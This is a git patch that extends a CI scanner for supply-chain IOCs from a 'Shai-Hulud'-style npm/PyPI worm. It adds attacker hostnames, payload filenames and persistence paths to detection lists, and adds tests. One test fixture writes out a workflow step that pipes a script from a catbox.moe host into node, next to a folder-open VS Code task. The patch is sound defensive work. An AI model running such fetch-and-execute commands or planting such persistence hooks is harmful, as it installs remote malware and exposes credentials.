From e8e9df52a6b1cd93d454c6e539b15ee487b166ff Mon Sep 17 00:00:00 2001 From: Affaan Mustafa Date: Fri, 15 May 2026 02:50:50 -0400 Subject: [PATCH] fix: harden supply-chain IOC scan (#1918) --- .../supply-chain-incident-response.md | 14 +++++-- scripts/ci/scan-supply-chain-iocs.js | 35 +++++++++++++++- tests/ci/scan-supply-chain-iocs.test.js | 40 +++++++++++++++++++ 3 files changed, 85 insertions(+), 4 deletions(-) diff --git a/docs/security/supply-chain-incident-response.md b/docs/security/supply-chain-incident-response.md index a24fd6d8..ade1f5b0 100644 --- a/docs/security/supply-chain-incident-response.md +++ b/docs/security/supply-chain-incident-response.md @@ -23,8 +23,12 @@ credentials: OpenSearch, Guardrails AI, Squawk, and other npm/PyPI packages. - The live IOC set includes persistence through Claude Code `.claude/settings.json`, VS Code `.vscode/tasks.json`, and OS-level - `gh-token-monitor` LaunchAgent/systemd services. Remove those persistence - hooks before rotating a stolen GitHub token. + `gh-token-monitor` LaunchAgent/systemd services. Some variants add a + dead-man-switch token description + `IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner`, malicious workflow + files such as `.github/workflows/codeql_analysis.yml`, and Python runtime + payloads such as `transformers.pyz` / `pgmonitor.py`. Remove those + persistence hooks before rotating a stolen GitHub token. - The attack chain combined `pull_request_target`, GitHub Actions cache poisoning across a fork/base trust boundary, and OIDC token extraction from a GitHub Actions runner. @@ -77,7 +81,11 @@ If ECC or a maintainer machine installed a known-bad package version: - `.vscode/tasks.json` folder-open tasks and adjacent payload files; - `~/Library/LaunchAgents/com.user.gh-token-monitor.plist`; - `~/.config/systemd/user/gh-token-monitor.service`; - - `~/.local/bin/gh-token-monitor.sh`. + - `~/.config/systemd/user/pgsql-monitor.service`; + - `~/.local/bin/gh-token-monitor.sh`; + - `~/.local/bin/pgmonitor.py`; + - `/tmp/transformers.pyz`, `/tmp/pgmonitor.py`, and their + `/private/tmp/` equivalents on macOS. 5. Rotate every credential reachable by the process: - npm automation tokens and maintainer tokens; - GitHub PATs, fine-grained tokens, deploy keys, and Actions secrets; diff --git a/scripts/ci/scan-supply-chain-iocs.js b/scripts/ci/scan-supply-chain-iocs.js index 9f012644..ad0a54a1 100755 --- a/scripts/ci/scan-supply-chain-iocs.js +++ b/scripts/ci/scan-supply-chain-iocs.js @@ -218,18 +218,25 @@ const CRITICAL_TEXT_INDICATORS = [ 'tanstack_runner.js', 'execution.js', 'transformers.pyz', + 'pgmonitor.py', + 'pgsql-monitor.service', 'gh-token-monitor', 'com.user.gh-token-monitor', + 'IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner', 'filev2.getsession.org', 'seed1.getsession.org', 'seed2.getsession.org', 'seed3.getsession.org', 'git-tanstack.com', + 'litter.catbox.moe/h8nc9u.js', + 'litter.catbox.moe/7rrc6l.mjs', '83.142.209.194', 'api.masscan.cloud', 'A Mini Shai-Hulud has Appeared', 'Shai-Hulud: Here We Go Again', 'PUSH UR T3MPRR', + 'codeql_analysis.yml', + 'shai-hulud-workflow.yml', ]; const DEPENDENCY_FILENAMES = new Set([ @@ -248,9 +255,13 @@ const PERSISTENCE_FILENAMES = new Set([ 'tasks.json', 'router_runtime.js', 'setup.mjs', + 'pgmonitor.py', 'gh-token-monitor.sh', 'com.user.gh-token-monitor.plist', 'gh-token-monitor.service', + 'pgsql-monitor.service', + 'codeql_analysis.yml', + 'shai-hulud-workflow.yml', ]); const PAYLOAD_FILENAMES = new Set([ @@ -258,7 +269,14 @@ const PAYLOAD_FILENAMES = new Set([ 'router_runtime.js', 'tanstack_runner.js', 'execution.js', + 'transformers.pyz', + 'pgmonitor.py', 'gh-token-monitor.sh', + 'com.user.gh-token-monitor.plist', + 'gh-token-monitor.service', + 'pgsql-monitor.service', + 'codeql_analysis.yml', + 'shai-hulud-workflow.yml', ]); const IGNORED_DIRS = new Set([ @@ -284,7 +302,8 @@ function isInSpecialConfigPath(filePath) { || /\/\.kiro\/settings\//.test(normalized) || /\/Library\/LaunchAgents\//.test(normalized) || /\/\.config\/systemd\/user\//.test(normalized) - || /\/\.local\/bin\//.test(normalized); + || /\/\.local\/bin\//.test(normalized) + || /\/\.github\/workflows\//.test(normalized); } function shouldInspectFile(filePath) { @@ -432,10 +451,21 @@ function homeTargets(homeDir) { '.vscode/setup.mjs', 'Library/LaunchAgents/com.user.gh-token-monitor.plist', '.config/systemd/user/gh-token-monitor.service', + '.config/systemd/user/pgsql-monitor.service', '.local/bin/gh-token-monitor.sh', + '.local/bin/pgmonitor.py', ].map(relativePath => path.join(homeDir, relativePath)); } +function runtimeTargets() { + return [ + '/tmp/transformers.pyz', + '/tmp/pgmonitor.py', + '/private/tmp/transformers.pyz', + '/private/tmp/pgmonitor.py', + ]; +} + function scanSupplyChainIocs(options = {}) { const rootDir = path.resolve(options.rootDir || DEFAULT_ROOT); const files = walkFiles(rootDir); @@ -445,6 +475,9 @@ function scanSupplyChainIocs(options = {}) { for (const target of homeTargets(options.homeDir || os.homedir())) { if (fs.existsSync(target)) files.push(target); } + for (const target of runtimeTargets()) { + if (fs.existsSync(target)) files.push(target); + } } for (const filePath of [...new Set(files)].sort()) { diff --git a/tests/ci/scan-supply-chain-iocs.test.js b/tests/ci/scan-supply-chain-iocs.test.js index cbd7804c..745eb42e 100755 --- a/tests/ci/scan-supply-chain-iocs.test.js +++ b/tests/ci/scan-supply-chain-iocs.test.js @@ -168,6 +168,46 @@ function run() { }); })) passed++; else failed++; + if (test('rejects dead-man switch and workflow persistence markers', () => { + withFixture({ + '.vscode/tasks.json': JSON.stringify({ + tasks: [{ + label: 'monitor', + command: 'echo IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner', + runOptions: { runOn: 'folderOpen' }, + }], + }, null, 2), + '.github/workflows/codeql_analysis.yml': [ + 'name: codeql_analysis', + 'on: push', + 'jobs:', + ' shai-hulud:', + ' runs-on: ubuntu-latest', + ' steps:', + ' - run: curl -fsSL https://litter.catbox.moe/h8nc9u.js | node', + ].join('\n'), + }, rootDir => { + const result = scanSupplyChainIocs({ rootDir }); + const indicators = result.findings.map(finding => finding.indicator); + assert.ok(indicators.includes('IfYouRevokeThisTokenItWillWipeTheComputerOfTheOwner')); + assert.ok(indicators.includes('codeql_analysis.yml')); + assert.ok(indicators.includes('litter.catbox.moe/h8nc9u.js')); + }); + })) passed++; else failed++; + + if (test('rejects user-level Python persistence payloads when home scan is enabled', () => { + withFixture({ + 'home/.local/bin/pgmonitor.py': 'print("persistence")', + 'home/.config/systemd/user/pgsql-monitor.service': '[Service]\nExecStart=python3 ~/.local/bin/pgmonitor.py', + }, rootDir => { + const homeDir = path.join(rootDir, 'home'); + const result = scanSupplyChainIocs({ rootDir, home: true, homeDir }); + const indicators = result.findings.map(finding => finding.indicator); + assert.ok(indicators.includes('pgmonitor.py')); + assert.ok(indicators.includes('pgsql-monitor.service')); + }); + })) passed++; else failed++; + if (test('rejects installed payload filenames in node_modules', () => { withFixture({ 'node_modules/@tanstack/react-router/router_init.js': '/* payload */',